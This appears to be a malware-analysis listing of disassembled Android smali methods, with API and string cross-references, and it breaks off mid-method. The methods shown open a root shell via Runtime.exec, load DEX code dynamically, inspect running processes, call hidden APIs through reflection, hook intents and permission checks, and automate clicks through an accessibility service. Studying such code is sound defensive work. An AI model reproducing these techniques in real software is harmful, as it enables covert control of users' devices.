                              3iget-object v0, p0, Lcom/omg/event/EventInjectService$3;->this$0:Lcom/omg/event/EventInjectService;
                              5invoke-static {v0}, Lcom/omg/event/EventInjectService;->access$100(Lcom/omg/event/EventInjectService;)Lcom/omg/event/play/PlayCallbackBase;
                              6move-result-object v0
                              7if-eqz v0, :cond_14
                              9iget-object v0, p0, Lcom/omg/event/EventInjectService$3;->this$0:Lcom/omg/event/EventInjectService;
                              11invoke-static {v0}, Lcom/omg/event/EventInjectService;->access$100(Lcom/omg/event/EventInjectService;)Lcom/omg/event/play/PlayCallbackBase;
                              12move-result-object v0
                              14invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              15move-result-object v0
                              16goto_13: return-object v0
                              17cond_14:
                              18invoke-virtual {p2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              19move-result-object v0
                              21invoke-virtual {v0}, Ljava/lang/Class;->isPrimitive()Z
                              22move-result v0
                              23if-eqz v0, :cond_34
                              25invoke-virtual {p2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              26move-result-object v0
                              28sget-object v1, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                              30invoke-virtual {v0, v1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                              31move-result v0
                              32if-eqz v0, :cond_2f
                              34invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              35move-result-object v0
                              36goto/16 :goto_13
                              37cond_2f:
                              38invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              39move-result-object v0
                              40goto/16 :goto_13
                              41cond_34: const/4 v0, 0x0
                              42goto/16 :goto_13
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.net.LocalServerSocket.<init>
                              • java.lang.Thread.<init>
                              • java.lang.Thread.start
                              • java.lang.Boolean.valueOf
                              • java.lang.Boolean.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Landroid/net/LocalServerSocket;
                              2new-instance v1, Ljava/lang/StringBuilder;
                              4invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              6sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              8invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              9move-result-object v1
                              11invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              12move-result-object v1
                              14invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              15move-result-object v1
                              17invoke-static {v1}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              18move-result-object v1
                              20invoke-direct {v0, v1}, Landroid/net/LocalServerSocket;-><init>(Ljava/lang/String;)V
                              21sput-object v0, Lsdk/nicro/lu/p;->a:Landroid/net/LocalServerSocket;
                              22new-instance v1, Ljava/lang/Thread;
                              23new-instance v2, Lsdk/nicro/lu/p$1;
                              25invoke-direct {v2, p0, v0}, Lsdk/nicro/lu/p$1;-><init>(Lsdk/nicro/lu/p;Landroid/net/LocalServerSocket;)V
                              27invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                              29invoke-virtual {v1}, Ljava/lang/Thread;->start()V
                              30const/4 v0, 0x1
                              32invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              33try_end_2f: move-result-object v0
                              34goto_30: return-object v0
                              35catch_31: move-exception v0
                              36const/4 v0, 0x0
                              38invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              39move-result-object v0
                              40goto/16 :goto_30
                              Cross References
                              APIs
                              • java.io.OutputStream.flush
                              • java.io.OutputStream.close
                              • java.lang.Process.destroy
                              • java.lang.Runtime.getRuntime
                              • java.lang.Runtime.exec
                              • java.lang.Process.getOutputStream
                              Strings
                              • LD_LIBRARY_PATH=/vendor/lib:/system/lib
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/omg/event/utils/RootContext;->p:Ljava/lang/Process;
                              3if-eqz v0, :cond_17
                              5iget-object v0, p0, Lcom/omg/event/utils/RootContext;->o:Ljava/io/OutputStream;
                              6if-eqz v0, :cond_17
                              8iget-object v0, p0, Lcom/omg/event/utils/RootContext;->o:Ljava/io/OutputStream;
                              10invoke-virtual {v0}, Ljava/io/OutputStream;->flush()V
                              12iget-object v0, p0, Lcom/omg/event/utils/RootContext;->o:Ljava/io/OutputStream;
                              14invoke-virtual {v0}, Ljava/io/OutputStream;->close()V
                              16iget-object v0, p0, Lcom/omg/event/utils/RootContext;->p:Ljava/lang/Process;
                              18invoke-virtual {v0}, Ljava/lang/Process;->destroy()V
                              19cond_17:
                              20invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              21move-result-object v0
                              23iget-object v1, p0, Lcom/omg/event/utils/RootContext;->mShell:Ljava/lang/String;
                              25invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                              26move-result-object v0
                              27iput-object v0, p0, Lcom/omg/event/utils/RootContext;->p:Ljava/lang/Process;
                              29iget-object v0, p0, Lcom/omg/event/utils/RootContext;->p:Ljava/lang/Process;
                              31invoke-virtual {v0}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
                              32move-result-object v0
                              33iput-object v0, p0, Lcom/omg/event/utils/RootContext;->o:Ljava/io/OutputStream;
                              35const-string v0, "LD_LIBRARY_PATH=/vendor/lib:/system/lib "
                              37invoke-direct {p0, v0}, Lcom/omg/event/utils/RootContext;->system(Ljava/lang/String;)V
                              38return-void
                              Cross References
                              APIs
                              • java.io.File.exists
                              • android.content.Context.getDir
                              • java.io.File.getAbsolutePath
                              • java.io.File.getAbsolutePath
                              • android.content.Context.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              Strings
                              • outmof
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, La/a/b/b;->b:Ljava/io/File;
                              4invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              5move-result v0
                              6if-eqz v0, :cond_2c
                              8iget-object v0, p0, La/a/b/b;->a:Landroid/content/Context;
                              10const-string v1, "outmof"
                              11const/4 v2, 0x0
                              13invoke-virtual {v0, v1, v2}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              14move-result-object v0
                              15new-instance v1, Ldalvik/system/DexClassLoader;
                              17iget-object v2, p0, La/a/b/b;->b:Ljava/io/File;
                              19invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              20move-result-object v2
                              22invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              23move-result-object v0
                              24const/4 v3, 0x0
                              26iget-object v4, p0, La/a/b/b;->a:Landroid/content/Context;
                              28invoke-virtual {v4}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              29move-result-object v4
                              31invoke-direct {v1, v2, v0, v3, v4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              33iget-object v0, p0, La/a/b/b;->a:Landroid/content/Context;
                              35invoke-virtual {p1, v0, v1}, La/a/b/a;->a(Landroid/content/Context;Ljava/lang/ClassLoader;)Z
                              36cond_2c: return-void
                              APIs
                              • android.content.Context.getSystemService
                              • android.app.ActivityManager.getRunningAppProcesses
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                              • java.lang.String.endsWith
                              Strings
                              • activity
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p0}, Lcom/lody/virtual/client/core/VirtualCore;->getEngineProcessName()Ljava/lang/String;
                              3move-result-object v1
                              5iget-object v0, p0, Lcom/lody/virtual/client/core/VirtualCore;->context:Landroid/content/Context;
                              7const-string v2, "activity"
                              9invoke-virtual {v0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              10move-result-object v0
                              11check-cast v0, Landroid/app/ActivityManager;
                              13invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                              14move-result-object v0
                              16invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              17move-result-object v2
                              18cond_16:
                              19invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              20move-result v0
                              21if-eqz v0, :cond_2c
                              23invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              24move-result-object v0
                              25check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
                              27iget-object v0, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                              29invoke-virtual {v0, v1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              30move-result v0
                              31if-eqz v0, :cond_16
                              32const/4 v0, 0x1
                              33goto_2b: return v0
                              34cond_2c: const/4 v0, 0x0
                              35goto/16 :goto_2b
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • java.lang.Object.getClass
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.Exception.printStackTrace
                              Strings
                              • storage
                              • getVolumePaths
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "storage"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/os/storage/StorageManager;
                              7const/4 v1, 0x0
                              8try_start_9:
                              9invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              10move-result-object v2
                              12const-string v3, "getVolumePaths"
                              13const/4 v4, 0x0
                              14new-array v4, v4, [Ljava/lang/Class;
                              16invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              17move-result-object v2
                              18const/4 v3, 0x0
                              19new-array v3, v3, [Ljava/lang/Object;
                              21invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              22move-result-object v0
                              23check-cast v0, [Ljava/lang/String;
                              24check-cast v0, [Ljava/lang/String;
                              25goto_21: return-object v0
                              26catch_22: move-exception v0
                              28invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              29move-object v0, v1
                              30goto/16 :goto_21
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.app.ActivityManager.getRunningAppProcesses
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                              • java.lang.String.equals
                              Strings
                              • activity
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "activity"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/app/ActivityManager;
                              8invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                              9move-result-object v0
                              11invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              12move-result-object v1
                              13cond_11:
                              14invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              15move-result v0
                              16if-eqz v0, :cond_27
                              18invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              19move-result-object v0
                              20check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
                              22iget-object v0, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                              24invoke-virtual {v0, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              25move-result v0
                              26if-eqz v0, :cond_11
                              27const/4 v0, 0x1
                              28goto_26: return v0
                              29cond_27: const/4 v0, 0x0
                              30goto/16 :goto_26
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • android.content.Intent.getData
                              • android.content.Intent.setDataAndType
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • android.os.IInterface.asBinder
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v10, 0x7
                              2const/4 v9, 0x5
                              3const/4 v8, 0x1
                              4const/4 v7, 0x0
                              5aget-object v0, p3, v8
                              6check-cast v0, Ljava/lang/String;
                              7const/4 v1, 0x6
                              8aget-object v1, p3, v1
                              9check-cast v1, [Ljava/lang/String;
                              10check-cast v1, [Ljava/lang/String;
                              11aget-object v2, p3, v7
                              12check-cast v2, Ljava/lang/Integer;
                              14invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              15move-result v3
                              16aget-object v2, p3, v10
                              17check-cast v2, Ljava/lang/Integer;
                              19invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              20move-result v4
                              21aget-object v2, p3, v9
                              22instance-of v2, v2, [Landroid/content/Intent;
                              23if-eqz v2, :cond_50
                              24aget-object v2, p3, v9
                              25check-cast v2, [Landroid/content/Intent;
                              26check-cast v2, [Landroid/content/Intent;
                              27array-length v5, v2
                              28if-lez v5, :cond_50
                              29array-length v5, v2
                              30add-int/lit8 v5, v5, -0x1
                              31aget-object v2, v2, v5
                              32if-eqz v1, :cond_44
                              33array-length v5, v1
                              34if-lez v5, :cond_44
                              36invoke-virtual {v2}, Landroid/content/Intent;->getData()Landroid/net/Uri;
                              37move-result-object v5
                              38array-length v6, v1
                              39add-int/lit8 v6, v6, -0x1
                              40aget-object v1, v1, v6
                              42invoke-virtual {v2, v5, v1}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                              43cond_44:
                              44invoke-direct {p0, v3, v0, v2}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$GetIntentSender;->redirectIntentSender(ILjava/lang/String;Landroid/content/Intent;)Landroid/content/Intent;
                              45move-result-object v1
                              46if-eqz v1, :cond_50
                              47new-array v2, v8, [Landroid/content/Intent;
                              48aput-object v1, v2, v7
                              49aput-object v2, p3, v9
                              50cond_50:
                              51invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              52move-result-object v1
                              53aput-object v1, p3, v10
                              55invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$GetIntentSender;->getHostPkg()Ljava/lang/String;
                              56move-result-object v1
                              57aput-object v1, p3, v8
                              58array-length v1, p3
                              59add-int/lit8 v1, v1, -0x1
                              60aget-object v1, p3, v1
                              61instance-of v1, v1, Ljava/lang/Integer;
                              62if-eqz v1, :cond_6e
                              63array-length v1, p3
                              64add-int/lit8 v1, v1, -0x1
                              66invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              67move-result-object v2
                              68aput-object v2, p3, v1
                              69cond_6e:
                              70invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              71move-result-object v1
                              72check-cast v1, Landroid/os/IInterface;
                              73if-eqz v1, :cond_83
                              74if-eqz v0, :cond_83
                              76invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              77move-result-object v2
                              79invoke-interface {v1}, Landroid/os/IInterface;->asBinder()Landroid/os/IBinder;
                              80move-result-object v3
                              82invoke-virtual {v2, v3, v0}, Lcom/lody/virtual/client/ipc/VActivityManager;->addPendingIntent(Landroid/os/IBinder;Ljava/lang/String;)V
                              83cond_83: return-object v1
                              Cross References
                              APIs
                              • com.lody.virtual.DelegateApplication64Bit.findField
                              • java.lang.reflect.Field.get
                              • java.lang.Object.getClass
                              • java.lang.Class.getComponentType
                              • java.lang.reflect.Array.newInstance
                              • java.lang.System.arraycopy
                              • java.lang.System.arraycopy
                              • java.lang.reflect.Field.set
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              3invoke-static {p0, p1}, Lcom/lody/virtual/DelegateApplication64Bit;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              4move-result-object v2
                              6invoke-virtual {v2, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, [Ljava/lang/Object;
                              9check-cast v0, [Ljava/lang/Object;
                              11invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              12move-result-object v1
                              14invoke-virtual {v1}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                              15move-result-object v1
                              16array-length v3, v0
                              17array-length v4, p2
                              18add-int/2addr v3, v4
                              20invoke-static {v1, v3}, Ljava/lang/reflect/Array;->newInstance(Ljava/lang/Class;I)Ljava/lang/Object;
                              21move-result-object v1
                              22check-cast v1, [Ljava/lang/Object;
                              23check-cast v1, [Ljava/lang/Object;
                              24array-length v3, v0
                              26invoke-static {v0, v5, v1, v5, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                              27array-length v0, v0
                              28array-length v3, p2
                              30invoke-static {p2, v5, v1, v0, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                              32invoke-virtual {v2, p0, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              33return-void
                              Cross References
                              APIs
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.net.URL.openConnection
                              Strings
                              • open url timeout
                              • open url IOException
                              • url format error
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Ljava/net/URL;
                              3invoke-direct {v0, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              4try_start_5:
                              5invoke-virtual {p0}, Lcom/omg/tool/net/WebClient$HttpBackgroudTask;->a()Ljava/net/Proxy;
                              6move-result-object v1
                              7if-nez v1, :cond_12
                              9invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              10move-result-object v0
                              11check-cast v0, Ljava/net/HttpURLConnection;
                              12goto_11: return-object v0
                              13cond_12:
                              14invoke-virtual {v0, v1}, Ljava/net/URL;->openConnection(Ljava/net/Proxy;)Ljava/net/URLConnection;
                              15move-result-object v0
                              16check-cast v0, Ljava/net/HttpURLConnection;
                              17try_end_18: goto/16 :goto_11
                              18catch_19: move-exception v0
                              19try_start_1a:
                              20invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              21const/16 v0, 0x66
                              23const-string/jumbo v1, "open url timeout"
                              25invoke-virtual {p0, v0, v1}, Lcom/omg/tool/net/WebClient$HttpBackgroudTask;->a(ILjava/lang/String;)V
                              26goto_25: const/4 v0, 0x0
                              27goto/16 :goto_11
                              28catch_27: move-exception v0
                              30invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              31const/16 v0, 0x66
                              33const-string/jumbo v1, "open url IOException"
                              35invoke-virtual {p0, v0, v1}, Lcom/omg/tool/net/WebClient$HttpBackgroudTask;->a(ILjava/lang/String;)V
                              36try_end_33: goto/16 :goto_25
                              37catch_34: move-exception v0
                              39iget-object v1, p0, Lcom/omg/tool/net/WebClient$HttpBackgroudTask;->g:Lcom/omg/tool/net/WebClient;
                              41invoke-virtual {v1, v0}, Lcom/omg/tool/net/WebClient;->a(Ljava/lang/Exception;)V
                              42const/16 v0, 0x65
                              44const-string/jumbo v1, "url format error"
                              46invoke-virtual {p0, v0, v1}, Lcom/omg/tool/net/WebClient$HttpBackgroudTask;->a(ILjava/lang/String;)V
                              47goto/16 :goto_25
                              Cross References
                              APIs
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Object.getClass
                              • sdk.nicro.lu.SdkLauncher$3.a
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • findClass
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/ClassLoader;",
                              4"Ljava/lang/String;",
                              5")",
                              6"Ljava/lang/Class",
                              7"<*>;"
                              8}
                              9.end annotation
                              10.prologue
                              11const/4 v5, 0x0
                              12const/4 v4, 0x1
                              14invoke-static {}, Lsdk/nicro/lu/SdkLauncher;->a()Z
                              15move-result v0
                              16if-eqz v0, :cond_d
                              18invoke-virtual {p1, p2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              19move-result-object v0
                              20goto_c: return-object v0
                              21cond_d:
                              22invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              23move-result-object v0
                              25const-string/jumbo v1, "findClass"
                              26new-array v2, v4, [Ljava/lang/Class;
                              27const-class v3, Ljava/lang/String;
                              28aput-object v3, v2, v5
                              30invoke-direct {p0, v0, v1, v2}, Lsdk/nicro/lu/SdkLauncher$3;->a(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              31move-result-object v0
                              33invoke-virtual {v0, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              34new-array v1, v4, [Ljava/lang/Object;
                              35aput-object p2, v1, v5
                              37invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              38move-result-object v0
                              39check-cast v0, Ljava/lang/Class;
                              40goto/16 :goto_c
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.Exception.printStackTrace
                              Strings
                              • android.os.SystemProperties
                              • get
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "android.os.SystemProperties"
                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              5move-result-object v0
                              7const-string v1, "get"
                              8const/4 v2, 0x2
                              9new-array v2, v2, [Ljava/lang/Class;
                              10const/4 v3, 0x0
                              11const-class v4, Ljava/lang/String;
                              12aput-object v4, v2, v3
                              13const/4 v3, 0x1
                              14const-class v4, Ljava/lang/String;
                              15aput-object v4, v2, v3
                              17invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              18move-result-object v0
                              19const/4 v1, 0x0
                              20const/4 v2, 0x2
                              21new-array v2, v2, [Ljava/lang/Object;
                              22const/4 v3, 0x0
                              23aput-object p0, v2, v3
                              24const/4 v3, 0x1
                              25aput-object p1, v2, v3
                              27invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              28move-result-object v0
                              29check-cast v0, Ljava/lang/String;
                              30try_end_29: return-object v0
                              31catch_2a: move-exception v0
                              33invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              34move-object v0, p1
                              35goto/16 :goto_29
                              Cross References
                              APIs
                              • java.lang.String.length
                              • java.lang.String.split
                              • com.omgSdk.andoclib.AutoAccessibilityService.getRootInActiveWindow
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              Strings
                              • \\|
                              Position Instruction Meta Information
                              0.annotation build Landroid/annotation/TargetApi;
                              1value = 0x10
                              2.end annotation
                              3.prologue
                              4sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              5const/16 v1, 0x10
                              6if-ge v0, v1, :cond_7
                              7cond_6: return-void
                              8cond_7: if-eqz p1, :cond_6
                              10invoke-virtual {p1}, Ljava/lang/String;->length()I
                              11move-result v0
                              12if-eqz v0, :cond_6
                              14const-string/jumbo v0, "\\|"
                              16invoke-virtual {p1, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                              17move-result-object v1
                              18array-length v0, v1
                              19if-eqz v0, :cond_6
                              20array-length v2, v1
                              21const/4 v0, 0x0
                              22goto_1b: if-ge v0, v2, :cond_6
                              23aget-object v3, v1, v0
                              25invoke-virtual {p0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getRootInActiveWindow()Landroid/view/accessibility/AccessibilityNodeInfo;
                              26move-result-object v4
                              27if-eqz v4, :cond_2d
                              29invoke-virtual {v4, v3}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                              30move-result-object v3
                              31const/4 v4, 0x3
                              33invoke-direct {p0, v3, v4}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              34cond_2d: add-int/lit8 v0, v0, 0x1
                              35goto/16 :goto_1b
                              APIs
                              • java.lang.Integer.valueOf
                              • java.lang.String.startsWith
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Strings
                              • com.google
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2aget-object v0, p3, v2
                              3check-cast v0, Ljava/lang/String;
                              5invoke-static {v0}, Lcom/lody/virtual/client/env/SpecialComponentList;->isWhitePermission(Ljava/lang/String;)Z
                              6move-result v1
                              7if-eqz v1, :cond_10
                              9invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              10move-result-object v0
                              11goto_f: return-object v0
                              12cond_10:
                              13const-string v1, "com.google"
                              15invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              16move-result v0
                              17if-eqz v0, :cond_1d
                              19invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              20move-result-object v0
                              21goto/16 :goto_f
                              22cond_1d: array-length v0, p3
                              23add-int/lit8 v0, v0, -0x1
                              25invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$CheckPermission;->getRealUid()I
                              26move-result v1
                              28invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              29move-result-object v1
                              30aput-object v1, p3, v0
                              32invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              33move-result-object v0
                              34goto/16 :goto_f
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.app.ActivityManager.getRunningTasks
                              • java.util.List.size
                              • java.util.List.get
                              • android.app.ActivityManager$RunningTaskInfo.topActivity:Landroid/content/ComponentName
                              • android.content.ComponentName.getPackageName
                              Strings
                              • activity
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "activity"
                              4invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/app/ActivityManager;
                              7const/4 v1, 0x1
                              9invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                              10move-result-object v0
                              12invoke-interface {v0}, Ljava/util/List;->size()I
                              13move-result v1
                              14if-lez v1, :cond_22
                              15const/4 v1, 0x0
                              17invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              18move-result-object v0
                              19check-cast v0, Landroid/app/ActivityManager$RunningTaskInfo;
                              21iget-object v0, v0, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                              23invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              24move-result-object v0
                              25goto_21: return-object v0
                              26cond_22: const/4 v0, 0x0
                              27goto/16 :goto_21
                              Cross References
                              APIs
                              • java.lang.Class.getConstructor
                              • java.lang.reflect.Constructor.newInstance
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • attachBaseContext
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x1
                              2const/4 v4, 0x0
                              3new-array v0, v4, [Ljava/lang/Class;
                              5invoke-virtual {p1, v0}, Ljava/lang/Class;->getConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                              6move-result-object v0
                              7new-array v1, v4, [Ljava/lang/Object;
                              9invoke-virtual {v0, v1}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                              10move-result-object v0
                              12const-string/jumbo v1, "attachBaseContext"
                              13new-array v2, v5, [Ljava/lang/Class;
                              14const-class v3, Landroid/content/Context;
                              15aput-object v3, v2, v4
                              17invoke-virtual {p1, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              18move-result-object v1
                              20invoke-virtual {v1, v5}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              21new-array v2, v5, [Ljava/lang/Object;
                              22aput-object p2, v2, v4
